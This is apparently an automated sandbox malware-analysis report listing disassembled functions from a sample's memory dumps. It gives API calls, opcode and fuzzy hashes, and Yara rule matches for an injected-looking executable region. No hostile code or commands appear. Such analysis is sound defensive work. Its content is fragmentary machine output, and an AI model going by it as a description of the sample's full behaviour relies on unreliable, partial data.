Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 8ee5b05f34aa341ea444763d65d795ea0629dac3a60a33906d3eb2b8c60d97b0
Instruction ID: 01ce782285afa2fe0ee75fb111b362f33b88ee91fcb692e7bcfc82e2618f75a0
Opcode Fuzzy Hash: 8ee5b05f34aa341ea444763d65d795ea0629dac3a60a33906d3eb2b8c60d97b0
Instruction Fuzzy Hash: 2111293B2007019FDB189F79C89167ABBA2FF84368B15442CE94687640D7717817CB50

Function 00438525 Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,004382C3,00000000,00000000,?), ref: 00438551

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: 337a2de6b1bf7d1e47597153f93e63187dff38eb8cbd869ce9d55d853e50a66e
Instruction ID: 55d96bffa5204c13915c45c901c590eeee5e17d2be7e0a570d5517895b0da640
Opcode Fuzzy Hash: 337a2de6b1bf7d1e47597153f93e63187dff38eb8cbd869ce9d55d853e50a66e
Instruction Fuzzy Hash: BEF0FE326102157FDB24566588057BBB754DB44314F05482FFC05E3240EE78FD4189D8

Function 0212878C Relevance: 1.5, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,0212852A,00000000,00000000,?), ref: 021287B8

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale_free
String ID:
API String ID: 787680540-0
Opcode ID: 484eb23ee604f396ff62d1ae9de0a3b910f949b6a3a7dfc562431161fa9a6d37
Instruction ID: c5bee9f01084bf6a0baa7b3af5cb7ddc8bfb1c483b92269b9e18176f22531fc8
Opcode Fuzzy Hash: 484eb23ee604f396ff62d1ae9de0a3b910f949b6a3a7dfc562431161fa9a6d37
Instruction Fuzzy Hash: 7CF0F436A90125AFDB289A658C05BBB7768EB40758F060429FD05A3180EB75BD26CAF4

Function 02128553 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE50
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE5D

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 021285B0

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$_free$InfoLocale
String ID:
API String ID: 2955987475-0
Opcode ID: 1066d348457ce15d115695fdbc727aca40596da59341ecdf7b524d2a6e2749d3
Instruction ID: 937020dbd2643f705337ae9677f1fda91f4f1141a4672780e6e8e88309e38121
Opcode Fuzzy Hash: 1066d348457ce15d115695fdbc727aca40596da59341ecdf7b524d2a6e2749d3
Instruction Fuzzy Hash: 99012632A812559BDB04EF74DC40ABA33A9DF05310F0141BAFE02DB281DB355C148B50

Function 00438018 Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

EnumSystemLocalesW.KERNEL32(004382F5,00000001,?,?,0042D465,?,00438696,0042D465,?,?,?,?,?,0042D465,?,?), ref: 00438064

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 5ee94715df9382555e62ea498577f74afa92c68033efe1c25507d27196f57aed
Instruction ID: 58f039e8a9daa1c4d9d346931ac8acd8603ce0735c91a0d1190a6ec6e1c60ff1
Opcode Fuzzy Hash: 5ee94715df9382555e62ea498577f74afa92c68033efe1c25507d27196f57aed
Instruction Fuzzy Hash: D0F04C363007045FDB289F399C8177BBBA0FF85368F15442EFA4187650DAB59C02C614

Function 0212827F Relevance: 1.5, APIs: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

EnumSystemLocalesW.KERNEL32(004382F5,00000001,?,?,0211D6CC,?,021288FD,0211D6CC,?,?,?,?,?,0211D6CC,?,?), ref: 021282CB

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: fbe2a370c4555c6ac6f5a3106f2e03f8955d143dcaf2d8881c6a7e9794f25f82
Instruction ID: ad133f400b3056e999f9eccf4c706047c342fc21135d7e897cc2053c17860048
Opcode Fuzzy Hash: fbe2a370c4555c6ac6f5a3106f2e03f8955d143dcaf2d8881c6a7e9794f25f82
Instruction Fuzzy Hash: A5F0C236240B145FDB245F799891B7A7B95FF81368F16442DFA058B680D771AC02CB24

Function 021220D7 Relevance: 1.5, APIs: 1, Instructions: 37COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,00000002,00000000,?,20001004,?,20001004,?,00000002,?,?,0211D12A,?,00000004), ref: 0212212A

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: c5a5b8839cc7f3fc1f5381bce5e7976d2d7adc599d825faf57a050f8e114ae61
Instruction ID: be23cb652b5fbe54186ada2a07e29adf2332988b16a94ea13ae94c417abba1d2
Opcode Fuzzy Hash: c5a5b8839cc7f3fc1f5381bce5e7976d2d7adc599d825faf57a050f8e114ae61
Instruction Fuzzy Hash: BEF0BB31A8032CBBDB119F50DC05FAE7B56FF49710F104155FE05662A4CB715D31EA98

Function 00431A7D Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042B09D: EnterCriticalSection.KERNEL32(?,?,0042E92A,?,00454588,00000008,0042E9F8,?,?,?), ref: 0042B0AC

EnumSystemLocalesW.KERNEL32(00431A37,00000001,00454708,0000000C), ref: 00431AB5

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 965e1bc549bb07b31f4385b8a2212eb4e5e03a738c8b77ac658036f568e8d432
Instruction ID: dd6115817a24b7cf921e5007a4ce08c86a573acc0e77d1c11877cd223ecaa101
Opcode Fuzzy Hash: 965e1bc549bb07b31f4385b8a2212eb4e5e03a738c8b77ac658036f568e8d432
Instruction Fuzzy Hash: 4CF04F32A50300DFDB10EFA8D846B4D37E0AB09726F11816AF910DB2E2CB789944CF49

Function 02121CE4 Relevance: 1.5, APIs: 1, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0211B304: RtlEnterCriticalSection.NTDLL(01CA1E7A), ref: 0211B313

EnumSystemLocalesW.KERNEL32(00431A37,00000001,00454708,0000000C), ref: 02121D1C

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: e7e28f973457a1cbf27335dfafa6531596e04a51340ae5156edca4f9c913ce69
Instruction ID: 1102b5e5cede6d366f00102e60470278f96ee53a3e6e45d6e3615cdceb1e83e8
Opcode Fuzzy Hash: e7e28f973457a1cbf27335dfafa6531596e04a51340ae5156edca4f9c913ce69
Instruction Fuzzy Hash: 73F04936AA0304EFDB50EF68D845B8D37F1AB09722F11426AF914DB2E1CB758A44DF49

Function 00437F32 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0042EB8A: GetLastError.KERNEL32(?,?,0042AC95,00454460,00000010), ref: 0042EB8E
Part of subcall function 0042EB8A: _free.LIBCMT ref: 0042EBC1
Part of subcall function 0042EB8A: SetLastError.KERNEL32(00000000), ref: 0042EC02

EnumSystemLocalesW.KERNEL32(00437E89,00000001,?,?,?,004386F4,0042D465,?,?,?,?,?,0042D465,?,?,?), ref: 00437F69

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: 207ed9028f4ac23f91b4fd2d2b7a8b5c5ea251c2426c4c0b4c33c2ce9f2520a8
Instruction ID: 51d59528fbdd0d8b2d87bea138bf817afda36d4acab07d0ae92d479409bc3d5d
Opcode Fuzzy Hash: 207ed9028f4ac23f91b4fd2d2b7a8b5c5ea251c2426c4c0b4c33c2ce9f2520a8
Instruction Fuzzy Hash: 29F0E53A30020597CB24DF76E85576A7F94FFC6764F16409AEA058B290C6799843C794

Function 02128199 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0211EDF1: GetLastError.KERNEL32(?,?,0211769C,?,00000000,?,02119A96,020F21C8,00000000,?,0044EEE0), ref: 0211EDF5
Part of subcall function 0211EDF1: _free.LIBCMT ref: 0211EE28
Part of subcall function 0211EDF1: SetLastError.KERNEL32(00000000,00000000,?,0044EEE0), ref: 0211EE69

EnumSystemLocalesW.KERNEL32(00437E89,00000001,?,?,?,0212895B,0211D6CC,?,?,?,?,?,0211D6CC,?,?,?), ref: 021281D0

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem_free
String ID:
API String ID: 2016158738-0
Opcode ID: c5cf8766c395f84dd5bcb1047b3741b15fc7d3b5051f3cd9bea0ebce490640b2
Instruction ID: cd689269af09b00c00f785a01a5566783bd5213a95d61e508aab924ddf5c4a5a
Opcode Fuzzy Hash: c5cf8766c395f84dd5bcb1047b3741b15fc7d3b5051f3cd9bea0ebce490640b2
Instruction Fuzzy Hash: 41F0E53A3402156BCB149F79DC5576ABF94FFC2750F074069FE058B690C7759942C7A0

Function 0040D306 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0000D312,0040C89A), ref: 0040D30B

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction ID: 14e6127c47b1d2521169e1f08ac487c75bcb91facda7f2feddefb64ae8933b8c
Opcode Fuzzy Hash: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction Fuzzy Hash:

Function 020FD56D Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(0040D312,020FCB01), ref: 020FD572

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction ID: 14e6127c47b1d2521169e1f08ac487c75bcb91facda7f2feddefb64ae8933b8c
Opcode Fuzzy Hash: 0d6480f50d5f06daa2dcbc4fc41925a634eb437b7c02b2212cc487f26afdab3f
Instruction Fuzzy Hash:

Function 00438871 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00438871

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: d75e7de4c216db68e074364054b54165d17044bc72cf8b5ee5f0edc2a60f4a27
Instruction ID: 2aca1dadaff4b3165dfbf42665d4ce92d94e95f9f8cb3bb3814f68a951af50cd
Opcode Fuzzy Hash: d75e7de4c216db68e074364054b54165d17044bc72cf8b5ee5f0edc2a60f4a27
Instruction Fuzzy Hash: 0DA01138200200CB83808F30AA0830E3BA8BA03282B008038A008C2020EB30C8208A08

Function 00434089 Relevance: .6, Instructions: 637COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 281979e135dcf882a2b2e9cb682aa2d8d9093fc3f523254dce57147f9dfc780b
Instruction ID: 3260f34a7d070e60ba19ca7f1c015330544333a0cbea262c7009e9d5d27d9777
Opcode Fuzzy Hash: 281979e135dcf882a2b2e9cb682aa2d8d9093fc3f523254dce57147f9dfc780b
Instruction Fuzzy Hash: D4323825D29F414DD7239638CC22336A289AFB73D4F15E737E829B5AA5EB2DD4C34108

Function 00424BF0 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: 2ac23d466b97307f58d4ad396448343a76a0bf8ce2b5ef8484d096016ab2c541
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: FC9193723090B309EB2D467EA47403FFEE1DAD23A135A079FD4F2CB6C5EE1885649624

Function 02114E57 Relevance: .3, Instructions: 254COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction ID: e56982ae849541506857421d07ab444d0e6f11a73c81fecf3520a24021b94e3e
Opcode Fuzzy Hash: 93657a121f16255c59120ad0d08fdbba6372c273009ad596b4ecdf6e8f3c6909
Instruction Fuzzy Hash: 269183762490A34EEB2D427E853413EFFE25A826A531A07BEE4F2CB1C5EF34C154D660

Function 00424EAB Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: cb2d39807b77c9e7cca367eb70d7e9644902994f3eca1b2c42a3adfbab84ad2e
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: 8D9185723084B349D729467AA53403FFEE19AD23A135B079FE4F2CA6C5EE288564D624

Function 02115112 Relevance: .2, Instructions: 244COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction ID: 9c1ea9df4f3613ae342ede3adaa7652ecef59c755be26027c50d7bcd6a11581c
Opcode Fuzzy Hash: 05e0b846b00456d0f1e87463b9d189974beed2fe63262d4392584e128a114ea2
Instruction Fuzzy Hash: 7F9153732490A35EEB6E427A857453EFFE25A822A534A07BDE4F2CB1C5EF348154D620

Function 00424929 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 67ade1a8fddbf6aa87e2616cb762cce78467ac60f3d165c0b427dfcbc0b4f454
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 249195723080B349DB298639A47413FFEE19AD13A134A079FD4F2CA6C5ED18D564DA28

Function 02114B90 Relevance: .2, Instructions: 240COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction ID: 82c434bf7e708557e5ddb000237b9c48a761f1f8d203eadcfbd0949eb61bbdd6
Opcode Fuzzy Hash: 40101273f58913c3cb3bc7eb54df01d47b4121c3e67d19f11ec2cb23d33ea445
Instruction Fuzzy Hash: 4F916E762490A34EEB2D463A847413EFFE15A92BA530A07BED4F2CB1C5EF35C164D620

Function 0042A19E Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32357502def5e470748856c84f612a1d18af5516d28d46552c48373c7dd41639
Instruction ID: 751aa4010ba611fd03dde60cbec16f67a726ba6b25513480487c966b51f8deae
Opcode Fuzzy Hash: 32357502def5e470748856c84f612a1d18af5516d28d46552c48373c7dd41639
Instruction Fuzzy Hash: 6561533170073897DA389A687985BBF6384AB12704FE4055BEC43DB381D65E9CA2862F

Function 0211A405 Relevance: .2, Instructions: 237COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fa933ccec10e3dc267e5a1b05fab58e38a26723b102669592c92cd964c9176e
Instruction ID: df5ca9eafd473acdb28b7c52b3f797b16897d8c110ba49ab760f3273f544e2d2
Opcode Fuzzy Hash: 9fa933ccec10e3dc267e5a1b05fab58e38a26723b102669592c92cd964c9176e
Instruction Fuzzy Hash: 5261BD312C67085BDE389A68885A7BE3F969F01708F08043ADD87DBAC2E735D941C755

Function 0042467F Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: 001bcd5e9615593a9a227e1ce0429a7cfb675f2a73d1164aeda5b81394656bfe
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: D68182763090F34EDB29467AA47403FFFE19AD23A135A079FD4F2CA2C1EE188565D624

Function 021148E6 Relevance: .2, Instructions: 232COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction ID: e45ebf481af47c463fbb78e3bb7357d053af31eaa755040f1d7366216baa9429
Opcode Fuzzy Hash: 70da388f96bbbf26b230a155b4728740b34f0d100ea60ab2bbadb9d7d0befbf0
Instruction Fuzzy Hash: F58181762490A30EEB6D8639943453EFFE15A82BA530B07BDD4F3CA1C5EF349254E624

Function 00424260 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8231fa563f0f49d4b9c8f8dfcb97e22e9cbfaf97f5b2c529b3f1ede505588f88
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 1D1138773000B2C3D604866FF4B47B7A795EBC53617ED43EBF0414BB48C22AE8419528

Function 021144C7 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: dae384535ff949e3f600d294384fdb088628df34814e77cf50dfa4b5c8d8f27e
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: BD11577B2C005183D6A4CA3DE4B46BBA795EBC6B29B2D537AE1428F748C332E205D600

Function 020B0083 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835002444.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20b0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: a8b0568c5d6bca1860084cea4127e1fd0d9fb7861e95f8675e74f8a522bb233e
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 04115A72340200AFD765DE55DC80FE773EAEF89320B198065ED08CB316E676E841CB60

Function 020F0D90 Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 020F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_20f0000_xHj1N8ylIf.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction ID: 4524214b148ab43ddff2c3a4e56364f4d43a0700c24f520c9d4403447d2986ae
Opcode Fuzzy Hash: 4464db465ba34ef3b506432a1509cd0f617e3f47c711957a903ed9c1c8e80aab
Instruction Fuzzy Hash: DF01F7736517008FDFA1CF20C804BAA33E6FBC5206F0540A4DA0697646E370A8418B80

Function 00401E44 Relevance: 49.2, APIs: 27, Strings: 1, Instructions: 205COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32(?,00000014,?,?), ref: 00401E7F
GetClientRect.USER32(?,?), ref: 00401E94
GetDC.USER32(?), ref: 00401E9B
CreateSolidBrush.GDI32(00646464), ref: 00401EAE
SelectObject.GDI32(00000000,00000000), ref: 00401EC2
CreatePen.GDI32(00000001,00000001,00FFFFFF), ref: 00401ECD
SelectObject.GDI32(00000000,00000000), ref: 00401EDB
Rectangle.GDI32(00000000,00000000,00000000,?,?), ref: 00401EEE
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00401EF9
MulDiv.KERNEL32(00000008,00000000), ref: 00401F02
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000190,00000000,00000000,00000000,00000000,00000000,00000000,00000002,00000031,Tahoma), ref: 00401F26
SelectObject.GDI32(00000000,00000000), ref: 00401F34
SetBkMode.GDI32(?,00000001), ref: 00401FB1
SetTextColor.GDI32(?,00000000), ref: 00401FC0
_wcslen.LIBCMT ref: 00401FC9

Strings

Tahoma, xrefs: 00401F08

Memory Dump Source

Source File: 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_xHj1N8ylIf.jbxd

Similarity

API ID: CreateObjectSelect$BrushCapsClientColorDeviceFontModeProcRectRectangleSolidTextWindow_wcslen
String ID: Tahoma
API String ID: 3832963559-3580928618
